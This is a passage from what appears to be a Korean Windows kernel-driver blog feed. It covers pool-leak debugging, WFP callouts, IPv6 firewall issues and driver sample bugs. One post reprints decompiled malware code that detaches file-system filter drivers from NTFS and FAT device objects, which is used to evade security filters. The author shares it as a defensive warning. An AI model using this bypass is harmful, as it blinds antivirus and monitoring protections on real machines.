*fffff8a0062fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005afa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005c00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006e00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006600000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a0064fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005cfa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006afa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005e00000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006800000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a0066fa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005efa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006cfa000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a006000000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

*fffff8a005800000 :large page allocation, Tag is Leak, size is 0xfa000 bytes

Step 3 – Dump the call stack for the allocation

This step is the easy one. Once you have the address of the allocation use !verifier 0x80 Address. If you were interested in all of the call stacks in the log you can run !verifier 0x80 without the Address parameter.

kd> !verifier 0x80 fffff8a005800000

Log of recent kernel pool Allocate and Free operations:

There are up to 0x10000 entries in the log.

Parsing 0x0000000000010000 log entries, searching for address 0xfffff8a005800000.

======================================================================

Pool block fffff8a005800000, Size 00000000000fa000, Thread fffffa8002be4060

fffff80001923cc6 nt!VeAllocatePoolWithTagPriority+0x2b6

fffff80001923d3d nt!VerifierExAllocatePoolEx+0x1d

fffff880042881f6 myfault+0x11f6

fffff8800428842f myfault+0x142f

fffff8000192e750 nt!IovCallDriver+0xa0

fffff800017a3a97 nt!IopXxxControlFile+0x607

fffff800017a42f6 nt!NtDeviceIoControlFile+0x56

fffff80001487ed3 nt!KiSystemServiceCopyEnd+0x13

======================================================================

Pool block fffff8a005800000, Size 0000000000001000, Thread fffffa8002187060

fffff8000192393a nt!VfFreePoolNotification+0x4a

fffff800015b6a6f nt!ExDeferredFreePool+0x107b

fffff800017273eb nt!HvFreeDirtyData+0x7f

fffff800017269bb nt!HvOptimizedSyncHive+0x53

fffff80001726303 nt!CmFlushKey+0xaf

fffff80001726b22 nt!NtFlushKey+0x142

fffff80001487ed3 nt!KiSystemServiceCopyEnd+0x13

Parsed entry 0000000000010000/0000000000010000...

Finished parsing all pool tracking information.

Keep in mind that the log may contain allocate and free information that predates the current use of the pool block, and that the log is of a fixed size so eventually old data will fall off the end. The most recent use of the pool will be at the top of the output. Usually this is the stack at the top of the output is what you are interested in, I have highlighted the relevant call stack in red. In this instance we can see that the pool was most recently allocated by myfault.sys.

Sometimes it is useful to have historical information about previous uses of the pool block such as when dealing with pool that was improperly freed. In that scenario the most recent call stack may be from an allocate call when the pool block was reused by the memory manager and so you may need to go down several levels to find out where the pool was improperly freed.

For more information on using !verifier you can refer to the debugger help in MSDN, http://msdn.microsoft.com/en-us/library/ff565591.aspx.

Win8의 보안적 관점의 변경사항... 제약?

noreply@blogger.com (reinhard v.z.) — Fri, 21 Oct 2011 06:32:00 +0000

Win8 은 메트로 UI 인터페이스를 추가하여 기존 Explorer 쉘과 동등한 수준의 UI 인터페이스를 추가하였습니다. 그런데, 메트로 UI 환경에서는 기존 legacy 쉘과는 다른 보안적 관점에서의 제약 사항이 몇가지 있습니다.

첫째, 메트로쉘 환경에선 커널 드라이버를 구동시킬 수 없습니다. (닷넷의 Interop 호출을 통해 native 호출을 하면 가능하지 않나 싶은데... MS에서 얼마전 있었던 세미나에서 불가하다는 쪽으로 얘기를 했다네요.)

둘째, 메트로쉘 의 IE는 플러그인을 허용하지 않습니다.
이 부분은 금융권에 들어가는 여러 보안 모듈 또는 전자상거래에서 필요한 결재용 모듈에 대한 대대적인 변경이 필요함을 의미합니다.( 차기버전에선 legacy 쉘을 지원하지 않을 지도 모른다는 얘기와... 메트로 환경의 보안은 MS에 맡기라는 말이 있었다는데... 뭐 그렇게 까지 얘기 했다면 자신있다는 거니까... 알아서 MS에서 잘 해줄거라 믿어 봐야 겠네요 )

세쩨. Win8의 하이브리드 부팅이 우리가 기존에 말했던 부팅의 개념이 아닌... 최대절전모드의 변형이라고 합니다. 보통 보안소프트웨어에 필요한 OS 오퍼레이션이 리부팅입니다. 말웨어를 치료하여 리부팅시킨다거나 혹은 정적 로딩 드라이버에 대한 리부팅 동작등이... 필요한데, 하이브리드 부팅으로는 단지 절전모드로 빠졌다가 돌아오는 결과이기 때문에... 리부팅을 시키기 위해선 별도의 부팅 API 를 이용해야 합니다.

그리고... 한가지 더 하자면... MS에서 기존 WHQL을 더 강화시킬 거라고 하네요... DTM 으로 명칭이 변경되었었는데... 또 이름이 다르게 바뀌는 거 같기도 하고... 아마도 언젠가는 DTM 안한 드라이버는 Windows 에서 구동되지 못할 날이 올지도 모릅니다.

Windows 로컬 보안에 SandBox가 적용되는 시기가 올 수 있을까?

noreply@blogger.com (reinhard v.z.) — Tue, 27 Sep 2011 01:46:00 +0000

맥아피의 CTO 존 비가 는 '전 세계 보안 시장은 점점 무너져가고 있다' 고 했다. 이것은 Anti-Virus의 시그니처기반 악성코드 진단 구조의 한계가 오고 있다는 뜻이다. AV 엔진의 한계는 정상파일,악성파일의 White List, Black List 의 DB 크기가 이론적으로는 무한대로 커져갈 것이라는 점과 이에 따라 이 DB 를 Traverse 하여 결과를 뽑아내야 하는 엔진의 Searching 속도가 증가되어 감으로 인해 사용자의 사용성이 악화되어 간다는 점이 핵심이라 할 수 있다.
이에 대한 대안으로는 대표적으로 시만텍의 평판시스템, 국내에선 안랩의 ASD등의 클라우드 시스템을 보안에 접목하려는 시도가 대안으로 떠오르고 있지만 아직 상용화 초기단계이며, 한계점도 보이고 있고 성공여부도 불투명한 상태이다.
이러한 문제에 대해 근본적으로 해결할 수 있는 방법은 아직까진 없다. 클라우드 시스템 역시 오탐에서 자유로울 수 없으며, 적용 범위도 포괄적이지 못하다.

이러한 기존 보안시장의 프레임에서 벗어나는 케이스가 바로 ios의 Sandbox 앱 실행 구조이다. 거기다 앱스토어를 통해 인증된 앱만 구동가능하게 하는 인증시스템을 도입하여 기본적으로 악성코드가 실행되는 기회를 박탈한다.
악성코드가 실행될 수도 없으며, 만약에 실행될 수 있다하여도 시스템을 권드릴 수 있는 권한을 획득할 수 없다. 당연히 악성파일 DB관리도 필요없다.
가끔씩 ios 사파리의 보안결함이 보고되어 패치되는 케이스가 있어도 미미한 수준이며, ios 는 그 보안성을 그 상업적 성공에 비례하여 인정 받았다고 보아야 할 것이다. 개인적으로는 ios 의 높은 보안성으로 인해 ios가 성공했다고 보고 싶은 정도 이다.

개인적으로 Windows 8 타블렛에 아직도 부정적인 이유는 Windows 8 타블렛이 보안패치 한다고 Wndows Update 를 수행해야 할텐데...업데이트 시간도 오래걸릴테고... 아이패드에서 그런걸 한다고 상상해 보라... 이거 작지 않은 부분이라고 본다.

현재 상용화된 Windows 용 SandBox 보안제품들을 보면 ios와 같은 보안성을 제공해 주지 못하는 구조를 가진다. 왜냐하면 다른 기존 어플들과 호환되도록 동작하면서 보안성까지 같이 갖추어야 하는 문제가 있기 때문이다.
호환이라는 이슈가 들어가면 보안은 깨진다.

반대로 ios는 높은 수준의 보안을 OS 자체적으로 수행함으로 인해 보안 소프트웨어 시장자체가 존재하지 않는다.
Windows 역시 호환을 버리고 ios 와 같은 구조로 아키텍처를 변경한다면 보안성은 강화될 것이나 보안 시장은 큰 타격을 입게 될 것이다.

Windows 로컬 보안에 SandBox가 제대로 적용되는 시기가 올 수 있을까?

filesystem filter Driver 무력화 구현.

noreply@blogger.com (reinhard v.z.) — Mon, 19 Sep 2011 12:50:00 +0000

출처: http://blog.naver.com/forc1/50114537970

char __stdcall disable_filter_driver_(PCWSTR Object)
{
char result; // al@2
PDEVICE_OBJECT p_device; // eax@3
UNICODE_STRING us_obj_name; // [sp+4h] [bp-8h]@1

RtlInitUnicodeString(&us_obj_name, Object);
if ( ObReferenceObjectByName(&us_obj_name, OBJ_CASE_INSENSITIVE, 0, 0, IoDriverObjectType, 0, 0, &Object) >= 0 )
{
for ( p_device = (PDRIVER_OBJECT)Object->DeviceObject; p_device; p_device = p_device->NextDevice )
p_device->AttachedDevice = 0; // 필터 없앰
ObfDereferenceObject((PVOID)Object);
result = 1;
}
else
result = 0;
return result;
}

NTSTATUS disable_filter_driver()
{
while ( !bEnd )
{
disable_filter_driver_(L"\\FileSystem\\Ntfs");
disable_filter_driver_(L"\\FileSystem\\Fastfat");
sleep_(1000);
}
return PsTerminateSystemThread(0);
}

설마 이런거 쓰겠어 했는데... 설마가 사람잡네요... 얼마전 발견된 악성코드에서 이와 같은 구현을 사용하며 더군다나
파일시스템 필터 뿐만이 아닌... Raw Disk I/O 에 대한 필터에 대해서도 위와 같은 형식을 이용하여 우회하는 기법을 이용하고 있는 것을 확인하였습니다.

여기에 대해서 대책이 있을까요?... 디바이스 객체에 대한 메모리 보호 역시 쉽지 않은 주제입니다만... 그에 앞서 Microsoft 에서 대책이 있을 지...아니면 대비가 이미 되어 있는 지 궁금하네요... MiniFilter 에 대해서도 ... 만일 Filter Manager 가 우회가 된다면 큰일이겠지요...

정부기관 어딘가에서 긴급회의 소집하는 시츄에이션이 상상이 되면서리... 쩝...

WFP 콜아웃의 inFixedValues->incomingValue[] 의 값이 항상 존재한다고 보장되지 않는다

noreply@blogger.com (reinhard v.z.) — Thu, 01 Sep 2011 08:23:00 +0000

WFP Sample 의 콜아웃의 구현에서 보면

WFPAleClassify()
{

switch(inFixedValues->layerId) {
case FWPS_LAYER_ALE_AUTH_CONNECT_V6 :
memcpy(LocalAddr ,inFixedValues->incomingValue[index].value.byteArray16, sizeof(FWP_BYTE_ARRAY16)) ;
}
}

이와 같이 incomingValue 의 값을 복사하는 구현을 보게 됩니다. 그러나 이 부분에 대해 주의가 요구됩니다.

디버깅 시 캡춰해 두었던 그림인데요... incomingValue의 값이 존재하지 않는 경우가 있을 수 있습니다. 따라서 일반 값이라면 상관 없겠지만 포인터 디레퍼런싱을 하게 될 경우에는 NULL 참조의 가능성이 있겠죠.

이 부분은 문서상에 나와 있지 않으며, Sample 의 구현에서도 힌트가 없는 부분이므로 주의해서 써야 되겠습니다.

다음과 같이 ...

if(inFixedValues->incomingValue[index].value.type != FWP_EMPTY) {
RtlCopyMemory(LocalAddr,
inFixedValues->incomingValue[index].value.byteArray16,
sizeof(FWP_BYTE_ARRAY16)) ;
}

WFP Callout 등록은 DriverEntry 에서 해야 하나...??

noreply@blogger.com (reinhard v.z.) — Wed, 24 Aug 2011 15:20:00 +0000

WFP 콜아웃을 등록하는 시점이 따로 정해져 있다는 얘기는 들어 본적이 없습니다. 다만, WDK Sample 에선 DriverEntry 의 시점에서 하고는 있죠. 아니면 DriverEntry 의 시점이 아닌 IRP 의 Dispatch 루틴에서 할 수도 있을 것입니다. 이를테면 드라이버의 클라이언트 Application이 로딩되는 시점, 즉 Create 디스패치의 시점입니다. 그러나 이 시점에서 콜 아웃을 등록한 후 나중에 언로드 시점에 콜아웃을 해제할 경우 네트워크가 Disconnect 되는 현상이 발생 됨을 확인하였습니다.

왜 이런일이 일어나는지에 대해선 검토가 좀더 필요합니다. 차이점은 컨텍스트가 다르다는 부분입니다. DriverEntry의 컨텍스트는 System 프로세스의 컨텍스트이고... 디스패치의 시점은 일반 응용의 컨텍스트의 시점이죠.

Enumerate WFP Callouts

noreply@blogger.com (reinhard v.z.) — Tue, 09 Aug 2011 03:54:00 +0000

http://www.codemachine.com/article_findwfpcallouts.html

CodeMachine 에 올라와 있는 WFP 콜아웃을 열거하는 Windbg 스크립트를 32비트 환경에서 해 보겠습니다.

1: kd> dp netio!gWfpGlobal L1
8aefc260 84f19008
1: kd> u netio!FeInitCalloutTable
NETIO!FeInitCalloutTable:
8aedf5ca 8bff mov edi,edi
8aedf5cc 56 push esi
8aedf5cd 57 push edi
8aedf5ce 8b3d60c2ef8a mov edi,dword ptr [NETIO!gWfpGlobal (8aefc260)]
8aedf5d4 33c0 xor eax,eax
8aedf5d6 81c7d8020000 add edi,2D8h <<< Offset of number of Entries
8aedf5dc ab stos dword ptr es:[edi]
8aedf5dd ab stos dword ptr es:[edi]
1: kd> u
NETIO!FeInitCalloutTable+0x14:
8aedf5de a160c2ef8a mov eax,dword ptr [NETIO!gWfpGlobal (8aefc260)]
8aedf5e3 05dc020000 add eax,2DCh <<< Offset of pointer to array of callout structures
8aedf5e8 50 push eax
8aedf5e9 6857667043 push 43706657h
8aedf5ee be90010000 mov esi,190h
8aedf5f3 56 push esi
8aedf5f4 e8d8f8feff call NETIO!WfpPoolAllocNonPaged (8aeceed1)
8aedf5f9 8bf8 mov edi,eax

1: kd> dq 84f19008+2D8
84f192e0 86b86000`0000011e 00000000`00000000
84f192f0 00000000`00000000 00000000`00000000
84f19300 00000000`00000000 00000000`00000000
84f19310 00000000`00000000 00000000`00000000
84f19320 00000000`00000000 00000000`00000000
84f19330 00000000`00000000 00000000`00000000
84f19340 00000000`00000000 00000000`00000000
84f19350 00000000`00000000 00000000`00000000
1: kd> dq 84f19008+2DC
84f192e4 00000000`86b86000 00000000`00000000
84f192f4 00000000`00000000 00000000`00000000
84f19304 00000000`00000000 00000000`00000000
84f19314 00000000`00000000 00000000`00000000
84f19324 00000000`00000000 00000000`00000000
84f19334 00000000`00000000 00000000`00000000
84f19344 00000000`00000000 00000000`00000000
84f19354 00000000`00000000 00000000`00000000
1: kd> !pool 86b86000
Pool page 86b86000 region is Nonpaged pool
*86b86000 : large page allocation, Tag is WfpC, size is 0x2cb8 bytes
Pooltag WfpC : WFP callouts, Binary : netio.sys
1: kd> u NETIO!InitDefaultCallout
NETIO!InitDefaultCallout:
8aedf640 8bff mov edi,edi
8aedf642 56 push esi
8aedf643 6848c2ef8a push offset NETIO!gFeCallout (8aefc248)
8aedf648 6857667043 push 43706657h
8aedf64d 6a28 push 28h <<< size of each entry in the array allocated from NPP
8aedf64f e87df8feff call NETIO!WfpPoolAllocNonPaged (8aeceed1)
8aedf654 8bf0 mov esi,eax
8aedf656 85f6 test esi,esi

1: kd> r $t0=86b86000;.for ( r $t1=0; @$t1 < 11e; r $t1=@$t1+1 ) {dps @$t0+2*@$ptrsize L2; r $t0=@$t0+28;}
86b86008 00000000
86b8600c 00000000
86b86030 00000000
86b86034 8b141b25 tcpip!IPSecInboundTransportFilterCalloutClassifyV4
86b86058 00000000
86b8605c 8b13afaf tcpip!IPSecInboundTransportFilterCalloutClassifyV6
86b86080 00000000
86b86084 8b141a8f tcpip!IPSecOutboundTransportFilterCalloutClassifyV4
86b860a8 00000000
86b860ac 8b13b059 tcpip!IPSecOutboundTransportFilterCalloutClassifyV6
86b860d0 00000000
86b860d4 8b144f35 tcpip!IPSecInboundTunnelFilterCalloutClassifyV4
86b860f8 00000000
86b860fc 8b1450a8 tcpip!IPSecInboundTunnelFilterCalloutClassifyV6
86b86120 00000000
86b86124 8b144e79 tcpip!IPSecOutboundTunnelFilterCalloutClassifyV4
86b86148 00000000
...

요약하면 다음과 같습니다.

"netio의 WFP 관련 전역변수 심볼의 주소를 구하고 콜아웃 구조체의 주소와 각 엔트리의 개수를 구하여 엔트리의 크기만큼 for 루프를 돌면서 매치되는 심볼을 디스플레이(dps) 한다." 입니다.

예전 MS 세미나에 참석하여 MS WFP 담당자에게 위와 같은 기능의 WFP 디버거 익스텐션을 제공해 줄 수 있겠느냐고 요청을 하니 '지금은 곤란하다. 기다려달라' 류의 답변을 받았던 기억이 나네요...ㅎㅎ

위의 내용은 사실 WFP 의 내부 구현을 알고 있어야만 쓸 수 있는 방법이긴 한데 마땅한 익스텐션이 없는 상황에선 아쉬운대로 쓸만한 것 같네요...

IPv6 Packet Parsing II

noreply@blogger.com (reinhard v.z.) — Fri, 05 Aug 2011 02:39:00 +0000

Windows 7 의 방화벽 룰 설정 마법사를 보면 프로토콜 타입에 IPv6 가 들어가 있는 것을 볼 수 있습니다. 무심코 이를 IPv6 제어 포인트로 오해하기 쉬운데... 정확히 얘기해서 여기서의 IPv6 는 IPv6 over IPv4 를 의미합니다. 그외 IPv6 확장헤더의 NextHeader 들 역시 프로토콜 타입으로 정의하고 있는데 IPv6-Routing , IPv6-Frag IPv6-NoExt...등이 있습니다.
실제 Raw IPv6 를 제어하는 지점은 범위탭 입니다.

IPv6 는 무엇보다 v4 와 공존할 수 밖에 없는 듀얼스택의 상황, 그리고 호환을 위한 터널링 프로토콜들에 대한 처리가 필요하므로 보안 홀이 생길 여지가 다분하다고 할 수 있습니다.

v6 에 대한 패킷 분석은 이러한 관점을 주지해야 합니다.

IPv6 Packet Parsing (IPv4 to IPv6)

noreply@blogger.com (reinhard v.z.) — Tue, 02 Aug 2011 14:58:00 +0000

IPv6 패킷의 파싱은 두가지 측면에서 보면 됩니다.

1. 0x86DD 이더넷 프로토콜 타입의 Raw IPv6 헤더 자체에 대한 분석

2. IPv6 터널링 관련 프로토콜에 대한 분석

터널링 프로토콜은 v4 와 v6 간의 호환을 위해 존재하는 개념으로 ISATAP 의 경우는 IPv6 over IPv4 형식이며 Teredo 는 IPv4 의 UDP 패킷으로 구현됩니다.

주의할 부분은 기존 TCP와 UDP 등의 전송계층 프로토콜과 그 상위 프로토콜을 제외한 다른 모든 패킷 프로토콜들이 많은 부분에서 변경되었다는 점 입니다. ARP와 IGMP 가 ICMPv6로 통합되었으며, DHCP 의 경우도 V6 버전이 별도로 제공됩니다. DNS 역시 V6 에 대한 고려가 필요하겠죠.

Raw IPv6 의 Extension(확장) 헤더의 구조를 보면 왜 기본 설계가 중요한지 깨닫게 됩니다. 특히 IPv6 - Routing 확장헤더는 고속 라우팅까지 고려된 구조라고 하네요(시스코 문서에 따르면).

OSR 2011 WDK Bug bash NDIS 관련 리포팅

noreply@blogger.com (reinhard v.z.) — Wed, 20 Jul 2011 14:45:00 +0000

이번 OSR에서 주최했던 WDK Bug Bash 에서 리포팅됬던 여러 버그들 중 NDIS 관련한 버그가 한가지 소개 되었습니다. 요즘 유행됬었던 말로 '정말 어처구니 없는' 버그 라고 할만합니다.

http://www.osronline.com/bb.cfm?CFGRIDKEY=4031E001-0DFA-D750-7EF46E76AC87AA84

WINDDK\7600.16385.1\src\network\ndis\filter\filter.c 의 소스코드 중

FilterReturnNetBufferLists() 의 구현에

PNET_BUFFER_LIST CurrNbl = NULL;
...
if (pFilter->TrackReceives)
{
while (CurrNbl)
{
//
NumOfNetBufferLists ++;
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);
}
}

CurrNbl 을 NULL 로 초기화하는 부분이 문제 입니다. 그 다음 이어지는 코드에서 CurrNbl 이 NULL 이므로 NumOfNetBufferLists 가 제대로 카운트 될 수 없는 형태 입니다.

현재 이 버그는 Windows Kit 8000 대에서 fix 된 사항으로 알려져 있습니다.

이것은 다음과 같이 FilterReturnNetBufferLists 의 인자로 들어온 NetBufferLists로 초기화 되어야 합니다.

PNET_BUFFER_LIST CurrNbl = NetBufferLists;

구 버전의 WDK (7600 이전 버전) 의 Sample 을 기반으로 하여 filter 를 작성하신 분들은 참고하시고 수정해서 써야 합니다.

인터페이스 별 IPv6 주소 얻기(GetAdaptersInfo 와 GetAdaptersAddresses)

noreply@blogger.com (reinhard v.z.) — Wed, 13 Jul 2011 04:41:00 +0000

부연합니다. GetAdaptersAddresses 함수는 GetAdaptersInfo 함수를 대체하기 위한 함수로 Vista 이전과 이후에서 사용되는 구조체의 형식이 다릅니다.
(IP_ADAPTER_ADDRESSES_LH, IP_ADAPTER_ADDRESSES_XP 구조체 참고 => 두 구조체가 호환은 되나 OS 버전에 따라 사용될 구조체가 달라짐)

결국, GetAdaptersInfo 함수는 폐기될 예정의(Deprecated)함수이므로 GetAdaptersAddresses 함수로의 사용으로 점차 바꾸어 가야 할것입니다. 아래의 내용은 이러한 XP에서 Vista 로의 전환기에서 두 함수가 혼용될 경우 참고할 수 있는 내용입니다.

각 네트워크 어댑터 별로 설정된 IPv6 의 주소를 얻어오는 방법을 기술해 놓은 문서가 없는 것 같아 포스팅합니다.

IPv6 의 주소는 GetAdaptersAddresses 라는 함수를 통해 얻어 올 수 있습니다만... 이 함수는 winXP 이상에서만 지원이 되며(IPv6 가 WinXP에서부터 지원), 어댑터와 관련한 정보는 보통의 경우GetAdaptersInfo(Win2K 부터 지원) 라는 IP Helper API를 통해 얻어오는게 일반적 이었습니다.

GetAdaptersInfo 를 통해선 IPv4 의 주소 정보를 얻을 수 있으나 IPv6 의 주소정보를 얻을 수 는 없습니다. 그런데, 어댑터 관련한 기타 정보는 GetAdaptersAddresses 에서 얻을 수 없습니다.

결국 두 함수를 섞어서 써야 IPv6 정보를 포함한 어댑터의 정보를 제대로 얻을 수 있을 것 입니다.

핵심은 두 함수의 연관관계를 찾아내는 것이 되겠고...

먼저, 두 함수를 통해 얻을 수 있는 IP_ADAPTER_ADDRESSES 와 IP_ADAPTER_INFO 구조체를 살펴볼 필요가 있는데...

typedef struct _IP_ADAPTER_INFO {
struct _IP_ADAPTER_INFO* Next;
DWORD ComboIndex;
char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];
char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];
UINT AddressLength;
BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];
DWORD Index;
UINT Type;
UINT DhcpEnabled;
PIP_ADDR_STRING CurrentIpAddress;
IP_ADDR_STRING IpAddressList;
IP_ADDR_STRING GatewayList;
...
} IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;

typedef struct _IP_ADAPTER_ADDRESSES {
union {
ULONGLONG Alignment;
struct {
ULONG Length;
DWORD IfIndex;
};
};
struct _IP_ADAPTER_ADDRESSES *Next;
PCHAR AdapterName;
PIP_ADAPTER_UNICAST_ADDRESS FirstUnicastAddress;
PIP_ADAPTER_ANYCAST_ADDRESS FirstAnycastAddress;
PIP_ADAPTER_MULTICAST_ADDRESS FirstMulticastAddress;
PIP_ADAPTER_DNS_SERVER_ADDRESS FirstDnsServerAddress;
...
DWORD IfType;
IF_OPER_STATUS OperStatus;
DWORD Ipv6IfIndex;
DWORD ZoneIndices[16];
PIP_ADAPTER_PREFIX FirstPrefix;
} IP_ADAPTER_ADDRESSES, *PIP_ADAPTER_ADDRESSES;

두 구조체에 Interface Index 필드가 존재 하는것을 볼 수 있습니다.

그래서 이와 같이 하면 될 것 입니다... GetAdaptersInfo 를 통해 인터페이스를 Enumeration 합니다. 그리고 GetAdaptersAddresses 를 통해 열거할 때 Interface Index 값을 보고 먼저 열거해 두었던 인터페이스 정보와 매치 시켜서 같은 값의 인터페이스에 GetAdaptersAddresses 를 통해 얻었던 Ipv6 정보를 저장합니다.

알고나면 아무것도 아닌데... 처음 할 땐 해매게 되더군요.

% 참고로 네트워크 인터페이스 라는 용어와 네트워크 어댑터라는 용어를 혼동하지 마세요. 네트워크 인터페이스 하드웨어를 네트워크 어댑터 혹은 네트워크 인터페이스 카드(NIC)라고 하며, 네트워크 인터페이스는 그보다 상위 개념입니다.

IPv6 듀얼스택의 보안상 문제점.

noreply@blogger.com (reinhard v.z.) — Fri, 08 Jul 2011 04:24:00 +0000

windows 비스타/7 은 IPv6와 v4를 기본으로 지원하는 운영체제입니다.
그리고 프로토콜 스택은 듀얼 스택 형식으로 작성되어 있어서 IPv6 로의 전환기에 있는 현 시점을 반영하고 있습니다. 듀얼스택은 네트워크 I/O에 대해 기본적으로 V6 로 구동했다가 V6 I/O 가 수행되지 않았을 경우 V4 로 재 수행되는 구조를 가집니다.
소켓 응용 개발자 입장에서도 IPv4 와 v6 양쪽에 바인딩 가능한 소켓을 열수 있도록 지원하고 있습니다. 지난 포스팅에 잠깐 언급했듯이 WSK(Winsock Kernel)의 경우는 WSK 클라이언트를 작성하는 것 만으로 V6와의 바인딩이 보장됩니다.
이와 같이 듀얼 스택은 당장 V6로 이행되기 어려운 legacy 환경과 V6 환경의 호환과 통합을 위한 어쩔 수 없는 선택이라고 할 수 있습니다.
당분간은 네트워크 모듈을 작성할 때 V4와 V6 를 양쪽 다 고려하면서 작성해야 합니다. 정말 피곤해졌죠.

그런데 이러한 듀얼스택 구조는 네트워크 보안 측면에서 중요한 이슈들을 내포하고 있습니다.
그것들 중 하나에 대해 얘기를 하자면,,,
하나의 호스트는 여러 네트워크 인터페이스를 가질 수 있으며 인터페이스는 V4주소와 V6주소를 동시에 가질 수 있습니다. 듀얼스택 구조이기 때문에...

당장 ipconfig /all 로 확인해 보면 한개의 인터페이스에 V4,V6 주소가 동시에 설정되어 있음을 볼 수 있습니다. 물론 이때의 V6 주소는 링크-로컬 주소로 쉽게 말해 로컬 네트웍에서만 사용되는 자동설정 주소 입니다.

여기서 가장 큰 문제는 기존에 Rule(정책)기반의 방화벽은 IPv4주소를 기반으로 한 룰 만을 취급해 왔다는 점입니다. 이제는 V6 룰도 같이 설정해야 한다는 겁니다.
실제 테스트를 해보면 (로컬네트웍 파일 복사와 같은) V4 룰만 설정해선 제대로 된 제어가 이루어지지 않음을 알 수 있습니다. (V4정책에 차단된 I/O가 V6패킷으로 I/O 바운드 되어 버립니다.)
결국 한 호스트에 대한 방화벽 정책은 V4와 V6 룰 양쪽 다 설정해야 한다는 결론이 내려집니다.

이 얼마나 피곤한 일이겠습니까... 특히 네트워크 보안 담당자들은 이런 귀찮음을 무지하게 싫어 하죠. 더구나 V6 주소는 16바이트로 관리하기도 까다롭습니다.

이제 보안 담당자들은 방화벽 개발자들에게 요구해 올 것입니다.
'나는 V4 주소 정책만 가지고 있으니 V6 는 방화벽에서 알아서 관리될 수 있게 해달라'
'아니면 최소한 V6를 편하게 관리할 수 있는 UI를 만들어 달라'

이런 시츄에이션이 그려지면서 벌써 머리가 아파오기 시작합니다. 이 바닥을 떠날 날이 얼마 안남은 것일까요...

우울하네요... ㅎㅎ

응용 덤프 분석 tool PEBrowse

noreply@blogger.com (reinhard v.z.) — Thu, 07 Jul 2011 02:31:00 +0000

http://www.smidgeonsoft.prohosting.com/pebrowse-crash-dump-analyzer.html

응용 덤프의 경우 로딩된 모듈들(PE)을 분석해 주는 tool 입니다.
덤프 분석시 노가다 뛰어야 할 일들을 많이 줄여주는 좋은 도구가 될 것 같네요.

이런 거 만들어서 free로 공개하는 사람들은 참 대단합니다~ 그냥 땡큐죠~...

DDK Sample 을 참고하여 상용 모듈을 개발할 때 잊지 말아야 할 것 한가지.

noreply@blogger.com (reinhard v.z.) — Wed, 06 Jul 2011 01:34:00 +0000

흔히 많이 하는 혹은 많이 듣는 얘기 중 하나가
"MS Sample 그대로 했는데, 안된다. 이해할 수 없다. (심지어) MS 문제다."
뭐 요런 식의 어법을 쓰는 사람들을 종종 보게 됩니다.(저도 그 부류 중의 하나였었죠. ㅎㅎ)

MS 에서 DDK를 통해 제공하는 Sample 의 주석을 보면 정확히 명기 되어 있죠. "Sample 은 Sample 일 뿐 책임 안진다." 뭐 이런 비슷한 문구였던 것으로 압니다.

그럼에도 우리는 커널드라이버 개발을 MS에서 제공하는 Sample 을 기반으로 해서 개발을 해야 하는 입장이기 때문에 막상 개발을 해 놓고 난 후 Sample 자체의 오류라든지 결함이 발생되면 MS 를 욕하면서 Sample 을 제대로 안 만들어 놨다고 투덜대기 일 쑤 이죠. 이런 경험들을 한 두번씩은 해보셨을 겁니다.

MS 의 Sample을 기반으로 해서 작성할 때 가장 중요한 부분은 커널 드라이버에서 사용하는 자원에 대한 관리를 해주는 Resource Manager 의 구현을 Sample 코드에 부가해서 개발해 주어야 한다는 점 입니다.

자원의 관리라 함은...

1)메모리 및 커널 자원 사용에 대한 관리
2)I/O (IRP) 와 그와 연관된 쓰레드 컨텍스트에 대한 관리
3)인터럽트, DMA 등 하드웨어와 연관된 자원에 대한 관리.

와 같은 것들 이겠죠.

DDK의 Sample 을 보면 이와 같은 형식으로 대부분 구현되어 있습니다.

~~AcquireSpinLock()~~
AcquireLock()
AllocatePool()

WaitForSingleObject()

DeAllocatePool()
~~ReleaseSpinLock()~~
ReleaseLock()

자원 할당과 해제에 있어서 전형적인 Windows 의 구현방식이죠(샌드위치 코드라고도 하죠~)

위 코드에 무슨 문제가 발생할 수 있을까요?...

답을 빨리 내 놓을 수 있다면 커널드라이버 작성에 능숙한 개발자라 할 수 있습니다.(일반 응용에서도 비슷합니다.)

위 코드에서 주의할 점은 Wait~ 하고 컨텍스트 스위칭이 발생한 이 후 해당 쓰레드의 컨텍스트가 사라져 버릴 수 있다는 것 입니다.
'도데체 그런일이 왜 일어나지?' 라고 물으신다면 해당 쓰레드가 강제로 종료된다든지 하는 경우를 예로 들을 수 있겠습니다.
(쓰레드가 의도치 않게 강제로 종료된다든지 하는 경우는 심심치 않게 나오는 경우입니다.)

위 코드는 결국 Wait 한 이후 쓰레드 컨텍스트가 사라지고 획득했던 락이 안풀리는 결과를 가져오게 되고 결국 행이 발생될 것입니다.(더불어 메모리 릭도 같이)

위의 코드는 한가지 예일 뿐이며... 그외 여러 예외적인 상황들에 대해 처리가 제대로 되려면

이에 대한 방안으로 리소스 관리자를 별도로 구현하라는 것입니다.

드라이버에서 사용하는 자원(메모리,락을 포함한 동기화 프리미티브...등등)을 드라이버 내의 별도의 Manager 코드에서 관리해 주는 것입니다.

위 코드 같은 경우는 쓰레드가 강제종료되는 시점을 받아서 락의 해제등의 처리가 이루어져야 합니다.

두고보세요~... 이러한 관리자 없이 그때 그때 예외처리하는 방식만으로는 유지보수를 감당하기 어려워 질 날이 올 겁니다.

정리하자면,,,

